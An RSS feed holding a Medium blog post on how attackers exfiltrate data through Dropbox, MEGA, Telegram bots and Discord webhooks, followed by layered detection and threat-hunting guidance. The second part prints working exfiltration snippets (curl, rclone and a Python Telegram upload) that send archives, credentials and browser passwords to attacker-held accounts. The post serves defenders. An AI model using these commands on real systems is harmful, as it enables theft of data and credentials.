<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vishnu Bharath on Medium]]></title>
        <description><![CDATA[Stories by Vishnu Bharath on Medium]]></description>
        <link>https://medium.com/@vishnubharaths31?source=rss-0604153297c6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ib5Az9_kGFSG4rXo8baX4Q.jpeg</url>
            <title>Stories by Vishnu Bharath on Medium</title>
            <link>https://medium.com/@vishnubharaths31?source=rss-0604153297c6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 14:15:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vishnubharaths31/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hiding in Plain Sight: How Attackers Exfiltrate Data Through Legitimate Cloud Tools and How to…]]></title>
            <link>https://medium.com/@vishnubharaths31/when-trusted-becomes-the-threat-data-exfiltration-via-cloud-platforms-and-how-to-detect-it-337ac39a7e21?source=rss-0604153297c6------2</link>
            <guid isPermaLink="false">https://medium.com/p/337ac39a7e21</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[data-exfiltration]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[adversary-emulation]]></category>
            <dc:creator><![CDATA[Vishnu Bharath]]></dc:creator>
            <pubDate>Tue, 24 Mar 2026 07:05:23 GMT</pubDate>
            <atom:updated>2026-03-24T07:40:23.663Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hiding in Plain Sight: How Attackers Exfiltrate Data Through Legitimate Cloud Tools and How to Catch Them</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ZdVFqjHiJxj4NVDK.jpg" /></figure><h4>Part 1 — Data Exfiltration: What It Really Means in Practice</h4><p>Well.. Technically speaking, Data Exfiltration is the unauthorized transfer of data from a compromised environment to an attacker-controlled destination. But in the trenches, it’s the <strong>payoff</strong>.</p><p>It sits at the tail end of the attack chain — <strong>TA0010 Exfiltration</strong>. It doesn’t matter how sophisticated your initial breach or privilege escalation was; if you can’t get the data out, the operation is a failure.</p><blockquote><strong>T1567 — Exfiltration Over Web Service</strong>: Adversaries use existing, legitimate external web services to exfiltrate data rather than their own C2 infrastructure. The traffic blends perfectly with normal business communications.</blockquote><p>Traditionally, we imagined exfiltration as an FTP connection to a rogue IP in a foreign country. Today, it looks like a standard employee syncing a file to OneDrive or a developer uploading a log to Discord for debugging. The protocol is the same; the intent is different.</p><blockquote>The core threat model is brutally simple: an attacker who has compromised an endpoint does not need to stand up a dedicated server. They can upload GB’s of compressed, encrypted archives directly to Dropbox, Telegram or Mega — and your SIEM will yawn.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*90i3vYe0IBqL-IMfQIvR1w.png" /><figcaption><em>The kill chain. Defenders usually catch stages 1–4 brilliantly. Then someone uploads to cloud storage and everyone goes home</em></figcaption></figure><blockquote><em>Fun fact: the average dwell time before exfiltration detection is 204 days. The attacker had time to learn a new hobby, go on two vacations, and write a memoir.</em></blockquote><h4><strong><em>Part 2 — The Usual Suspects: Platforms Leveraged by Attackers</em></strong></h4><p>Attackers don’t reinvent the wheel. They use tools their targets already trust, already pay for, and already have firewall rules to allow. Genius. Lazy genius, but genius.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*jsUMgMicyTxL5owpImdGyw.gif" /></figure><h4><strong>Dropbox:</strong></h4><p>The OG exfiltration channel that nobody wants to bring up in a board meeting. Clean REST API, port 443, valid TLS cert signed by a CA your browser already trusts, enterprise SLA, and — best of all — <strong>it’s on zero blocklists anywhere in the world.</strong></p><blockquote><strong>Attacker’s inner monologue:</strong> <em>“They can’t block it without triggering a Sev-1 incident. I’ll stay under that threshold.”</em></blockquote><pre># The attacker&#39;s Dropbox exfil. Embarrassingly simple.<br>curl -X POST https://content.dropboxapi.com/2/files/upload \<br>  -H &quot;Authorization: Bearer &lt;attacker_oauth_token&gt;&quot; \<br>  -H &quot;Dropbox-API-Arg: {\&quot;path\&quot;: \&quot;/backup/totally_legit.zip\&quot;}&quot; \<br>  -H &quot;Content-Type: application/octet-stream&quot; \<br>  --data-binary @/tmp/.staged_exfil.zip</pre><blockquote><strong>Security Team:</strong> <em>“We have a Next-Gen Firewall”</em></blockquote><blockquote><em>The firewall allows Dropbox, an 2 GB upload goes out, and detection says: “No IOC detected.”</em></blockquote><h4><strong>Mega:</strong></h4><p>This is where exfiltration goes to die — and where your data lives forever. The killer feature: <strong>client-side E2E encryption by default.</strong> Files are encrypted on the victim machine <strong>before</strong> upload. Your SSL inspection proxy sees encrypted blobs. Your DLP cannot read filenames. A legal subpoena to MEGA returns ciphertext. Your CASB shrugs.</p><blockquote><em>“We perform full SSL inspection.” Cool. MEGA </em><strong><em>encrypted it client-side</em></strong><em> before it ever touched the wire. Your inspection looked at the cyber equivalent of a sealed safe going through an airport scanner. The scanner saw: a safe. That’s the problem.</em></blockquote><pre># rclone: the attacker&#39;s Swiss Army knife for cloud exfil<br>rclone copy /mnt/sensitive_finance_data mega:exfil_2025 \<br>     --transfers 10 --retries 5 --quiet --no-console<br># Binary dropped by implant. Pre-configured rclone.conf.<br># Runs silently. Uploads everything. Disappears.</pre><h4><strong>Telegram:</strong></h4><p>The rising star for APTs and ransomware groups. This is the one that makes incident responders cry into their coffee. A Telegram bot: free to create (60 seconds, BotFather), requires <strong>zero attacker-controlled infrastructure</strong>, can receive files up to 2 GB per message, runs on Telegram’s enterprise CDN, and is completely indistinguishable from a developer’s Telegram Desktop client on the wire.</p><blockquote><em>Malware families using this natively: </em><strong><em>ToxicEye, MassLogger</em></strong><em>, dozens of commodity stealers, multiple RATs, and — the cherry on top — your standard corporate phishing kit that was emailed to your finance team last Tuesday.</em></blockquote><pre># The entirety of a Telegram exfil module. This is it. This is the whole thing.<br>import requests<br>BOT_TOKEN = &#39;&lt;token&gt;&#39;        # created in 60 seconds<br>CHAT_ID   = &#39;&lt;attacker_id&gt;&#39;  # attacker&#39;s private channel<br>files = {&#39;document&#39;: open(&#39;/tmp/harvested_creds.zip&#39;, &#39;rb&#39;)}<br>requests.post(<br>    f&#39;https://api.telegram.org/bot{BOT_TOKEN}/sendDocument&#39;,<br>    data={&#39;chat_id&#39;: CHAT_ID},<br>    files=files<br>)<br># That&#39;s it. Your data is gone. 12 lines. Zero infrastructure.</pre><h4><strong>Discord:</strong></h4><p>Originally for gamers, now a staple for C2 and exfiltration. These are the newest and most unhinged channel, and they require <strong>zero account, zero authentication, zero infrastructure</strong> from the attacker’s side. A webhook URL is a one-line HTTP POST endpoint. Embed it in malware, ship it to victims, and stolen data flows into the attacker’s Discord server automatically while they watch anime.</p><blockquote>An attacker dumps your AD into a Discord server called “loot-drop-2025,” and the IDS approves it like it’s just another chat message.</blockquote><pre># One line. That&#39;s it. This is the whole exfil.<br>curl -F &#39;file=@/tmp/browser_passwords.txt&#39; \<br>     https://discord.com/api/webhooks/&lt;id&gt;/&lt;token&gt;<br># No account. No login. Just a URL embedded in malware.<br># The attacker rotates the webhook if it gets burned. New URL. 10 seconds.</pre><h4>Part 3— How They Actually Do It</h4><p>Cloud exfiltration follows a quiet three-step pattern: attackers first <strong>discover and stage data</strong> by enumerating sensitive directories, dumping credentials, and compressing everything into password-protected archives in innocuous locations like Temp; they <strong>pre-configure exfil channels weeks in advance</strong> using tokens or tools like rclone so nothing looks suspicious at runtime; then they <strong>transfer data slowly over trusted cloud services (HTTPS/443)</strong> during business hours, in small chunks, blending perfectly with normal traffic, followed by cleanup to remove artifacts — so what actually happens is a complete data theft that looks exactly like routine user activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*ONzXpm0H8oysAL8PaR_9pw.png" /><figcaption>Three phases, one goal — stage it, pre-load the channel, then upload slowly over HTTPS during business hours until your data lives in someone else’s cloud and your logs show nothing.</figcaption></figure><blockquote>svchost_update.7z sits quietly in C:\Windows\Temp, gets dismissed as a false positive, and while no one notices, the attacker casually exfiltrates data from your blind spot and still has better work-life balance than your SOC team.</blockquote><h4>Part 4— <strong>Why These Platforms? Because Your Controls Don’t Cover Them</strong></h4><p><em>This is the uncomfortable section. Read it. Then immediately go rewrite your security architecture.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*mGVLm4kmlP7Hd7dt5hL3vg.png" /></figure><h4>1. Trust Bypass</h4><p>Dropbox.com has never been on a blocklist. Not once. Not ever. Your firewall was literally configured to allow it because someone in 2019 said “we use Dropbox for file sharing.” Congratulations, you built the attacker’s exfiltration highway and named the project ‘Digital Transformation.’</p><h4>2. SSL Inspection Carve-Outs</h4><p>Most enterprises exclude major cloud providers from SSL inspection to avoid certificate errors for business-critical apps. You know who benefits from that carve-out? Not you. The attacker benefits. They’re riding inside the compliance exception you built for yourself.</p><h4>3. Zero Infrastructure Cost</h4><p>A dedicated C2 server requires domain registration, hosting fees, OPSEC management, rotation schedules, and constant monitoring. A Telegram bot costs nothing and takes 60 seconds. Discord webhooks require no account at all. The barrier to entry is literally just having a Wi-Fi connection and five minutes.</p><h4>4. Enterprise-Grade Reliability</h4><p>Dropbox has better uptime than your SOC tooling. Attackers get a more reliable exfiltration channel than most defenders have detection infrastructure. The irony is genuinely painful.</p><h4>5. MEGA’s Cryptographic Trapdoor</h4><p>The only platform on this list where even perfect network visibility gives you <strong>nothing.</strong> The data is ciphertext before it leaves the endpoint. SSL inspection sees an encrypted blob. Your DLP has no filenames. Full stop. The only detection angle is the endpoint itself — which is why EDR is non-negotiable.</p><h4>6. Zero OPSEC Burden</h4><p>Classic C2 operations require constant infrastructure management, domain rotation, IP cycling, and careful OPSEC. Cloud exfiltration requires the attacker to open Telegram on their phone. That is the complete operational overhead. They are doing less work than you are to defend against them. Let that sink in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*nR8N8iXCxq-VeFfUx9JdgA.gif" /></figure><blockquote><em>Summary: attackers use your own approved platforms against you, hide inside your own compliance exceptions, spend nothing on infrastructure, and have more reliable tooling than your security stack. Apart from that, things are going great.</em></blockquote><h4>Part 5 — Hunting Inside the Blind Spot: <strong>How to Actually Detect This</strong></h4><p>Finally, the part that earns the salary. No single tool catches this cleanly. You need layered controls, correlated telemetry, and the willingness to do something about MEGA traffic even though your legal team is going to ask why you’re blocking a cloud storage service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*XNJGWQxUW8AOcNtq9x2SzA.gif" /></figure><p><strong>Layer 1 — Network &amp; Proxy (SSL Inspection is the Entry Ticket):</strong></p><ul><li>Block discord.com/api/webhooks/* — zero legitimate corporate use</li><li>Alert on first-seen mega.nz / g.api.mega.co.nz DNS from endpoints without MEGAsync</li><li>Flag multipart/form-data POSTs to api.telegram.org — that&#39;s file upload, not messaging</li><li>Volume alert: &gt;500 MB/hour to any external cloud from a single host</li></ul><p><strong>Layer 2 — EDR Detection:</strong></p><ul><li>Alert on 7z.exe / WinRAR.exe spawned from cmd.exe or PowerShell with -p (password flag) in a temp or public directory</li><li>Alert on rclone.exe / MEGAcmd.exe execution — nearly never legitimate on end-user workstations</li><li>Alert on python.exe or powershell.exe making HTTPS connections to api.telegram.org, discord.com, or content.dropboxapi.com</li><li>The smoking gun: sensitive path read (LSASS, NTDS.dit, SAM) followed within 30 minutes by a cloud upload — correlate these two events and you have the full picture</li></ul><p><strong>Layer 3— UEBA &amp; Behavioural Analytics:</strong></p><blockquote>Individual alerts are noisy. Correlated behaviour tells the story. This is where detection matures from alert fatigue into actual signal</blockquote><ul><li>Baseline every host’s cloud upload volume. Alert on 3-sigma deviations. A developer syncing a project is predictable. An attacker staging finance data is not.</li><li>Archive creation in temp dir + cloud upload in same session window</li><li>First-ever Telegram/MEGA traffic from an endpoint = immediate flag</li><li>3 AM uploads from a 9–5 account = someone’s having a bad day (not you, them)</li></ul><p><strong>Layer 4 — SIEM Detection</strong></p><blockquote>Your SIEM’s job is correlation, not individual alerts. Three data sources aligned on the same host in the same window — EDR process telemetry, DNS resolver logs, proxy bytes transferred — turns noise into an incident.</blockquote><ul><li>For Telegram, watch proxy logs for sustained POST traffic to api.telegram.org/bot* where bytes sent accumulate over time from a non-browser process. Messages don&#39;t weigh megabytes. Megabytes do.</li><li>For staging correlation, the story is: archive tool with a password flag in a temp directory, followed by an outbound cloud API connection with real bytes transferred — same host, same short window. Neither event alone means anything. Together they’re a case.</li><li>For MEGA, cross-reference DNS query logs against your software inventory. A host resolving MEGA’s API domains with no MEGA application registered is running something unauthorised. Pivot to process telemetry to find what made the call.</li><li>For Discord, any non-browser process POSTing to discord.com/api/webhooks/ is a near-certain finding. No legitimate corporate application does this.</li></ul><p><strong>Layer 5 — CASB &amp; DLP:</strong></p><ul><li>Inline CASB (not API-mode) gives visibility into cloud traffic even when users authenticate with their own personal cloud accounts — a gap that kills most enterprise DLP deployments</li><li>DLP policy: block uploads of password-protected archives to non-sanctioned cloud apps — if someone is password-protecting an archive before uploading to a personal cloud account, that is a data point worth investigating</li><li>Shadow IT discovery: regular reports on cloud services accessed from corporate IPs — attacker-controlled accounts will appear as anomalous, brand-new apps</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*ZG141q3hQZESHPpkv8zEgQ.png" /></figure><h4>Threat Hunting</h4><p>Assume breach. Go looking.</p><ol><li><strong>Hunt rclone and MEGAcmd.</strong> Near-zero legitimate presence on end-user workstations. Hunt by binary name AND command-line patterns (mega:, dropbox:, copy, sync) — attackers rename binaries. Parent process matters: spawned by powershell.exe or cmd.exe is an immediate escalation.</li><li><strong>Hunt non-browser processes calling cloud APIs.</strong> Pull all connections to Telegram, Discord, Dropbox, MEGA endpoints. Strip browsers and legitimate sync clients. Everything left is a finding — triage by process, parent, and bytes sent.</li><li><strong>Hunt password-archived staging.</strong> 7z.exe / WinRAR.exe with -p or -hp flags writing to %TEMP%, C:\Users\Public\, C:\ProgramData\, or Recycle Bin. Then pivot: what happened on that host 30 minutes before and after? Did a cloud upload follow?</li><li><strong>Hunt credential access correlated with cloud uploads.</strong> LSASS reads, SAM hive touches, NTDS.dit access — last 30–90 days. For every host that triggered one, check for a cloud upload in the same session. This correlation is rare in clean environments and almost never a false positive.</li></ol><h4>Detecting Low-and-Slow Exfiltration</h4><p>The hardest problem here. 100 KB every few hours to a Telegram bot generates no volume alert, no spike, no DLP hit. Four weeks later: gigabytes gone.</p><ol><li><strong>Extend your UEBA lookback to weeks, not hours.</strong> A host sending exactly 150 KB to api.telegram.org daily at 14:30 for 20 straight days isn&#39;t a user — it&#39;s a scheduler. Legitimate cloud behaviour is bursty and irregular. Perfectly timed low-volume traffic is a beacon. Beacons don&#39;t belong to humans.</li><li><strong>Hunt regularity, not volume.</strong> Measure the standard deviation of inter-upload intervals per host per domain. Legitimate sync is messy. Attacker-controlled uploads driven by a sleep loop or scheduled task are suspiciously consistent. A coefficient of variation below 0.1 on upload timing is worth investigating regardless of byte count.</li><li><strong>Hunt application-traffic mismatches.</strong> A host sending daily traffic to api.telegram.org with no Telegram installed, no browser tab open, no Telegram process running — that traffic has no legitimate owner. Find the process making the call and you&#39;ve found the implant.</li><li><strong>For MEGA: ignore payload size, focus on DNS regularity.</strong> Content inspection is impossible. Instead, flag hosts resolving g.api.mega.co.nz on a consistent schedule with no MEGAsync installed. The rhythm is the signal.</li><li><strong>Apply org-level data accounting.</strong> Aggregate outbound bytes per cloud domain per week across the entire estate. Compare week-over-week. A slow upward drift to a specific domain — even when no single host triggered an alert — is worth investigating. Attackers splitting exfil across multiple hosts to dodge per-host thresholds are still visible at the aggregate level.</li><li><strong>Enrich backwards.</strong> Low-and-slow exfil almost always starts after an initial access or lateral movement event. Suspicious cloud traffic today correlated with a phishing click three weeks ago gives you the full incident timeline. The exfil wasn’t stealthy — it was just quiet. There’s a difference.</li></ol><blockquote>The attacker blended in, trusted the noise, and moved like normal traffic — until one <strong>correlation rule turned “invisible” into “incident.</strong>”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*AzHRun8sTgZ-cY0MkndIgg.gif" /></figure><h3>The Strategic Takeaway</h3><blockquote><em>The attacker built a global data theft operation using free tools, your own approved infrastructure, and a lunch break’s worth of setup — and it worked flawlessly, silently, for weeks. No custom exploits. No zero-days. Just Dropbox, a Telegram bot, and your own firewall waving it through with a smile.</em></blockquote><p>That’s the part that stings.</p><p>But here’s what actually happened on the other side: a blue teamer with underfunded tooling, a change management backlog, and 10,000 alerts competing for attention still built the correlation nobody asked for, fought legal for SSL inspection, extended the UEBA lookback window on a hunch, and went hunting without a ticket. They found 100 KB of daily traffic to a Telegram bot that had been quietly running for three weeks — not because a dashboard caught it, but because a human understood the threat deeply enough to go looking for the thing that wasn’t making noise.</p><p>The attacker had free infrastructure, zero attribution risk, and all the time in the world. The defender had a Tuesday and a Splunk license. The defender still won.</p><p>A blocklist won’t stop this. SSL inspection, EDR telemetry, behavioural baselines, and CASB enforce the real defence. But none of it matters without the human behind it who treats every approved cloud platform as a potential exfiltration channel — because it is.</p><p>Build your detection architecture with that assumption on day one — not after the breach notification letter.</p><p><strong>MITRE ATT&amp;CK:</strong> T1567 · T1567.002 · T1074 · T1560 · T1560.001 · TA0010</p><p><strong>Note</strong>: This article is written in a personal capacity and reflects independent research and opinions solely for Educational purposes only. It does not represent the views of my employer.</p><p><em>Enjoyed this? Follow for more red team / blue team deep-dives.</em></p><p>#CyberSecurity #ThreatIntelligence #BlueTeam #RedTeam #DFIR #MITREATTACKFramework #CloudSecurity #DataExfiltration #SOC #IncidentResponse #DetectionEngineering #ThreatHunting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=337ac39a7e21" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>